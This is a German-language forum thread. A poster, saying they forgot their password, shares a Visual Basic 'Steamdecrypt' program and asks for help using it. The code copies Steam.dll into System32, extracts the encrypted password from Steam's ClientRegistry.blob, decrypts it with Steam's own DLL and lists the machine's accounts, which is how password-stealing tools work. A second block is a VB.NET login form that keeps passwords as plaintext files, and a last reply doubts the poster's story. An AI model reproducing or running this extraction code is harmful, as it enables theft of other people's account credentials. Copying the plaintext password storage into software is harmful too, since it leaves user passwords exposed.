Programmierer für Steamdecrypt...Mein Steam PW auslesen
Hab im internet nichts gefunden außer dieser Code für VB soweit ich weiß.
Kann ein Programmierer was damit anfangen.(Copy & Past)
Ich wäre euch zu dankbar nähmlich habe mein PW:vergessen.
Code:
''''''''''''''''''''''''''''''''''''''''''''''
'Steamdecrypt by Ill
'release: 18.10.09
'Read Steam Pass and all Users
'Credits: Unknown Coder for getSubDirs function
'Pls give Credits when you use it
''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function SteamDecryptDataForThisMachine Lib "Steam.dll" _
(ByVal CryptPw As String, ByVal CryptPwLen As Long, ByVal DecPw As String, ByVal DecPwLen As Long, ByRef Decvalue As Long) As Long
Private Sub Command1_Click()
End
End Sub
Private Sub Form_Load()
On Error Resume Next
Dim System32 As String
Dim SteamPfad As String
Dim Obj As Object
Dim RegPfad As String
Dim BenutzerOrdner As String
Dim LeseUser As String
Dim Decvalue As Long
Dim Pass As String * 100
Dim Decodepw As String
Decvalue = 0
System32 = Environ$("windir") & "\System32\Steam.dll"
RegPfad = "HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath"
If RegPfad = Null Then End
Set Obj = CreateObject("wscript.shell")
SteamPfad = Obj.RegRead(RegPfad)
Set Obj = Nothing
If Dir$(System32) <> "" Then
Else
FileCopy SteamPfad & "\Steam.dll", System32
End If
Open SteamPfad & "\ClientRegistry.blob" For Binary Access Read As #1
Dim Inhalt As String
Inhalt = Input(LOF(1), #1)
Dim Phrase As Double
Phrase = InStr(1, Inhalt, "Phrase")
Dim Passwort As String
Dim HashStart As Integer
HashStart = 40
Passwort = Mid$(Inhalt, Phrase + HashStart)
Dim Endhash As String
Endhash = Left$(Passwort, 92)
Close #1
If SteamDecryptDataForThisMachine(Endhash, Len(Endhash), Pass, Len(Pass), Decvalue) = 0 Then
Decodepw = Pass
txtPass.Text = Decodepw
Else
txtPass.Text = "Fehler beim Entschlüsseln"
End If
BenutzerOrdner = SteamPfad & "\steamapps"
LeseUser = getSubDirs(BenutzerOrdner)
txtUser.Text = Replace(LeseUser, vbNewLine, ", ")
End Sub
Private Function getSubDirs(ByVal ofPath As String) As String
Dim sRes As String
Dim sCur As String
Dim temparry As String
If Right$(ofPath, 1) <> "\" Then ofPath = ofPath & "\"
sCur = Dir$(ofPath, vbDirectory)
Do While sCur <> ""
If GetAttr(ofPath & sCur) And vbDirectory Then
sRes = sRes & sCur & vbCrLf
End If
sCur = Dir()
Loop
getSubDirs = sRes
temparry = Replace(getSubDirs, "." & vbNewLine, "")
If Left(temparry, 1) = "." Then
temparry = Replace(temparry, Left(temparry, 1), "")
End If
getSubDirs = temparry
End Function
Code:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If My.Computer.FileSystem.DirectoryExists("C:\ACCOUNTS") = True Then
Else
End If
If TextBox1.Text = "" Then
MsgBox("Error dein Account muss mindestens 1 Buchstaben haben!", MsgBoxStyle.Critical)
Else
MkDir("C:\ACCOUNTS\" + TextBox1.Text)
Dim username As New System.IO.StreamWriter("C:\ACCOUNTS\" + TextBox1.Text + "\username.txt")
username.Write(TextBox1.Text)
username.Close()
Dim password As New System.IO.StreamWriter("C:\ACCOUNTS\" + TextBox1.Text + "\password.txt")
password.Write(TextBox2.Text)
password.Close()
MsgBox("Account Erstellt", MsgBoxStyle.Information)
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If TextBox1.Text = "" Then
MsgBox("Error, You Need at least one Letter", MsgBoxStyle.Critical)
Else
If My.Computer.FileSystem.DirectoryExists("C:\ACCOUNTS\" + TextBox1.Text + "\") Then
Dim USERREAD As System.IO.StreamReader = New System.IO.StreamReader("C:\ACCOUNTS\" + TextBox1.Text + "\USERNAME.TXT")
Dim userline As String
Dim PASSREAD As System.IO.StreamReader = New System.IO.StreamReader("C:\ACCOUNTS\" + TextBox1.Text + "\PASSWORD.TXT")
Dim passline As String
Do
passline = TextBox2.Text
userline = USERREAD.ReadLine
Console.WriteLine(passline)
Console.WriteLine(userline)
Loop Until userline Is Nothing
If TextBox2.Text = "" Then
MsgBox("Error, Please Input a Password", MsgBoxStyle.Critical)
Else
If passline = PASSREAD.ReadLine() = True Then
MsgBox("Wilkommen in BeLuX 2011 " + TextBox1.Text)
End If
End If
Else
MsgBox("Der Username existiert nicht!", MsgBoxStyle.Critical)
End If
End If
End Sub
End Class
. Ich mein du kannst uns ja auch sonstwas von Passwort-Vergessen erzählen.
